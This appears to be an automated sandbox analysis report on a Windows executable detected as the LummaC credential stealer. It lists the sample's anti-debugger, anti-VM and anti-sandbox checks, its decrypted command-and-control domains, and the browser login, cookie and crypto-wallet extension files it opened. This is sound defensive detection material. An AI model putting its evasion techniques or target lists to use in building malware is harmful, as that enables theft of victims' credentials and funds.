Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D14F6 second address: 60D14FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D1637 second address: 60D163D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D163D second address: 60D1650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9AED3FF38Ah 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D1797 second address: 60D179B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D18D1 second address: 60D18F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9AED3FF397h 0x00000009 pop edi 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D18F2 second address: 60D18F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D18F8 second address: 60D18FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D21BC second address: 60D21C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D21C2 second address: 60D21D0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F9AED3FF386h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D2648 second address: 60D2656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jno 00007F9AEC795B46h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D293B second address: 60D293F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D293F second address: 60D2945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D5A2A second address: 60D5A50 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9AED3FF38Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ecx 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D5A50 second address: 60D5A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60D5A55 second address: 60D5A5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D10B52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: EC052A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F42D8D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F2DB3C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60E9CB4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 616F4CF instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_060CAF1B rdtsc

0_2_060CAF1B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_060C4CB7 sidt fword ptr [esp-02h]

0_2_060C4CB7

Source: C:\Users\user\Desktop\file.exe TID: 6664

Thread sleep time: -210000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2458009945.0000000000E98000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2367757416.0000000000A06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2456924205.00000000009A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456924205.0000000000977000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.000000000571A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000003.2447323855.0000000005702000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: &Ven_NECVMWar&Prod_VMware_SATA_C1
Source: file.exe, 00000000.00000002.2458009945.0000000000E98000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2177476052.0000000005715000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_060CAF1B rdtsc

0_2_060CAF1B

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: y0hdProgram Manager
Source: file.exe, 00000000.00000002.2464918587.00000000060B8000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: oy0hdProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2458009945.0000000000E98000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: :Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.2224767591.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224857444.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224877163.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2224837415.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6948, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2177985805.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "m":["*"],"z":"Wallets/ElectronCash"
Source: file.exe, 00000000.00000003.2212130829.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.2207681933.0000000000A2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.2177985805.0000000000A29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Ethereum","m":["keys
Source: file.exe, 00000000.00000003.2212130829.0000000000A11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2223719711.0000000000A11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
